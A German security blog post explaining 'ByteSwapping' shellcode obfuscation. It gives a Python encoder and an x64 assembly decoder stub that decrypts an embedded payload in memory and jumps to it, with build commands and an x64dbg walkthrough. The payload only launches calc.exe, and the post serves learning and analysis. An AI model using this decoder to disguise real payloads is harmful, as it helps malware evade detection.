{{tag>IT-Security Windows Kali shellcode blog deutsch}}
====== Obfuscation: ByteSwapping ======
{{:it-security:blog:2024-320-ByteSwap-header.webp?400|}}
Ein Objekt mit unterschiedlichem Aussehen, erfüllt immer die gleiche Funktion.
Im letzten Beitrag, habe ich einen verschlüsselten Shellcode im Arbeitsspeicher entschlüsselt und ausführen lassen. Als Verschlüsselung habe ich jedes Byte mit einer XOR-Berechnung umgewandelt.
Nun möchte ich etwas mehr Dynamik in die Verschlüsselung bringen, um das Entschlüsseln des Shellcodes etwas zu erschweren.
\\
\\
===== Vorüberlegungen =====
Wie bekomme ich nun die Statik, die durch den XOR-Schlüssel vorgegeben ist, heraus? Anstatt jedes Byte mit dem Schlüssel zu berechnen, mache ich dies nur für jedes zweite Byte. Die ausgelassenen Bytes verschlüssele ich dann mit dem Ergebnis des vorherigen: ((Anmerkung: Gerade und ungerade bezieht sich auf das Offset, somit ist Byte 1 an Offset 0 gerade und Byte 2 ungerade
))
$EncryptedByte(even) = Byte(even) \wedge Key(XOR)$
$EncryptedByte(odd) = Byte(odd) \wedge EncryptedByte(even)$
==== Beispiel ====
An diesem Beispiel, sieht man nun, dass allein durch die Wahl eines anderen XOR-Schlüssels, die Ausgabe stark unterschiedlich ist.
^ ^Byte 1 ^Byte 2 ^Byte 3 ^Byte 4 ^
|**unverschlüsselt**|''%%01%%''|''%%AF%%''|''%%45%%''|''%%C3%%''|
|**XOR Wert 1** |''%%15%%''|''%%14%%''|''%%15%%''|''%%50%%''|
|**verschlüsselt** |''%%14%%''|''%%BB%%''|''%%50%%''|''%%93%%''|
|**XOR Wert 2** |''%%57%%''|''%%56%%''|''%%57%%''|''%%12%%''|
|**verschlüsselt** |''%%56%%''|''%%F9%%''|''%%12%%''|''%%D1%%''|
===== Der Code =====
==== Schritt 1: Python Encoder ====
Die entsprechende Python Funktion ist schnell erklärt:
* Funktionsaufruf mit den zu verschlüsselnden Bytes und dem gewünschten XOR-Schlüssel
* Initialisieren der benötigten Variablen
* Eine ''%%for%%'' Schleife durchläuft jedes Byte
* Wenn die Division durch 2 einen Rest von 0 ergibt, haben wir ein gerades Byte
* Verschlüssele das Byte mit dem XOR-Schlüssel
* Füge das verschlüsselte Byte dem Bytearray hinzu
* Speichere das verschlüsselte Byte für den nächsten Durchlauf
* Sonst ein Ungerades
* Verschlüssele das Byte mit dem des vorigen Durchlaufs
* Füge das verschlüsselte Byte dem Bytearray hinzu
* Gib das Bytearray als Ergebnis zurück
def encrypt(data: bytes, xor_key: int) -> bytes:
transformed = bytearray()
prev_enc_byte = 0
for i, byte in enumerate(data):
if i % 2 == 0: # even byte positions
enc_byte = byte ^ xor_key
else: # odd byte positions
enc_byte = byte ^ prev_enc_byte
transformed.append(enc_byte)
prev_enc_byte = enc_byte
return bytes(transformed)
==== Schritt 2: Assembly ====
Nun muss das Assembly erstellt werden, welches die Verschlüsselung wieder Rückgängig macht. Den kompletten Code findet Ihr am Ende des Beitrags.
=== Schritt 2.1: Initialisierung und JMP-CALL-POP ===
_start:
xor rax, rax
xor rbx, rbx
xor rcx, rcx
mov cl, 242
jmp short call_decoder
* Wir setzen die Register ''%%RAX, RBX und RCX%%'' auf ''%%0%%''
* Das Register ''%%CL%%'' bekommt die Länge des Shellcodes
* Wir springen vor den Shellcode
call_decoder:
call decoder
Shellcode: db 0x75,0x3d...0x75
* Wir rufen die Funktion ''%%Decoder%%'' auf und die Adresse der nächsten Anweiung (unser Shellcode) wird vom Register ''%%RSP%%'' auf dem Stack gesichert
decoder:
pop rsi
* und schließlich laden wir die Shellcode Adresse vom Stack in das Register ''%%RSI%%''
=== Schritt 2.2: Decoder Schleife ===
decode_loop:
test rcx, rcx
jz Shellcode
* Prüfe den Wert von ''%%RCX%%''
* Wenn ''%%RCX%%'' gleich ''%%0%%'', dann springe zum Shellcode
mov rdx, rsi
sub dl, Shellcode
test dl, 1
jnz odd_byte
* ''%%RDX%%'' bekommt die aktuelle Position, an der wir uns befinden
* Wir subtrahieren die Adresse des Shellcodes von unserer aktuellen Position
* Ein bitweiser Vergleich zeigt uns, ob der berechnete Index gerade oder ungerade ist
* Springe, wenn ungerade nach ''%%odd_byte%%''
Doch wie funktioniert der Vergleich hier? Die Anweisung ''%%TEST%%'' prüft, indem Bits verglichen werden. Sehen wir uns die Zahlen 1 - 4 in Binärschreibweise an:
^Dezimal ^1 ^2 ^3 ^4 ^
|**Binär**|0001|0010|0011|0100|
Gerade Zahlen haben immer eine 0 im letzten Bit und ungerade eine 1.
== Gerade Zahlen ==
mov al, [rsi]
xor byte [rsi], 0x20
jmp post_processing
* Verschiebe das aktuelle verschlüsselte Byte in das Register ''%%AL%%'' für den nächsten Durchlauf
* Entschlüssele das Byte mit dem XOR-Schlüssel ''%%0x20%%''
* Springe nach ''%%post_processing%%''
== Ungerade Zahlen ==
odd_byte:
xor byte [rsi], al
* Entschlüssele das Byte mit dem gespeicherten Wert aus dem vorigen Durchlauf
== Post-Processing ==
post_processing:
inc rsi
dec rcx
jmp decode_loop
* Erhöhe ''%%RSI%%'' und setze somit die aktuelle Position ein Byte weiter
* Reduziere ''%%RCX%%'', die Länge des Shellcodes
* Springe zurück zum Anfang der Schleife
=== Schritt 2.3: Shellcode ===
Wenn die Bedingungen für das Ende der Schleife erreicht ist, wird direkt in den entschlüsselten Shellcode gesprungen und dieser dann ausgeführt.
=== Schritt 2.4: Kompilieren und Bereinigen ===
Nun können wir den Code kompilieren:
nasm -f win64 poly2.asm -o poly.o
Das Bereinigen erledige ich mit [[https://github.com/psycore8/shencode|ShenCode]]:
python shencode.py formatout -i poly2.o -s inspect
...
0x00000096: 20 00 50 60 48 31 c0 48
...
0x00000400: a3 67 28 75 1a 00 00 00
* Wir identifizieren den Anfang und das Ende des Opcodes
python shencode.py extract -i poly2.o -o poly2.raw --start-offset 100 --end-offset 404
* Dann extrahieren wir diesen und speichern ihn in eine neue Datei
python shencode.py formatout -i poly2.raw --syntax c
...
"\x48\x31\xc0...x67\x28\x75";
* und können uns den Shellcode als C++ Variable ausgeben lassen
==== Schritt 3: Injecter ====
Nun brauchen wir noch einen Injecter um den Shellcode im Arbeitsspeicher zu platzieren. Diesen können wir aus dem [[it-security:blog:obfuscation_polymorphic_in_memory_decoder#injectcpp|vorigen Beitrag]] übernehmen
===== Debug =====
Nach der Kompilierung des Injecters können wir mit dem Debug starten. Ich nutze hierbei x64dbg.
{{:it-security:blog:2024-320-ByteSwap-1.png|}}
Wir drücken F9 (Ausführen) und landen im Entry Point der Anwendung. Von hier aus suchen wir die Funktion ''%%main()%%''
{{:it-security:blog:2024-320-ByteSwap-2.png|}}
Ist diese gefunden, markieren wir die Zeile und drücken F4 (Ausführen bis Auswahl) und springen mit F7 in die Funktion.
{{:it-security:blog:2024-320-ByteSwap-3.png|}}
Die letzte Call-Anweisung vor ''%%RET%%'' ruft den Shellcode auf. Wir markieren diese Zeile und setzen einen Haltepunkt mit F2. Anschließend F9 und das Programm stoppt am Haltepunkt. Mit F7 springen wir hinein.
{{:it-security:blog:2024-320-ByteSwap-4.png|}}
Nun befinden wir uns im Shellcode. Der Bereich unter der CALL-Anweisung ist unser verschlüsselter Shellcode. Alles drüber ist die Decoder-Routine. Führen wir nun STRG+F7 aus, wird die Ausführung verlangsamt animiert. Hierbei kann man sehr schön sehen, wie der untere Bereich entschlüsselt wird.
{{:it-security:blog:2024-320-ByteSwap-ani-1.gif|}}
Ich habe an dieser Stelle wieder meine Calc-Payload benutzt, so dass am Ende ''%%calc.exe%%'' ausgeführt wird.
===== Repository =====
Den kompletten Shellcode findet Ihr hier:
* Shellcode: [[https://github.com/psycore8/Shellcodes/blob/main/SwapBytes/poly2.asm|poly2.asm]]
* [[https://github.com/psycore8/shencode|ShenCode]]
----
~~DISCUSSION~~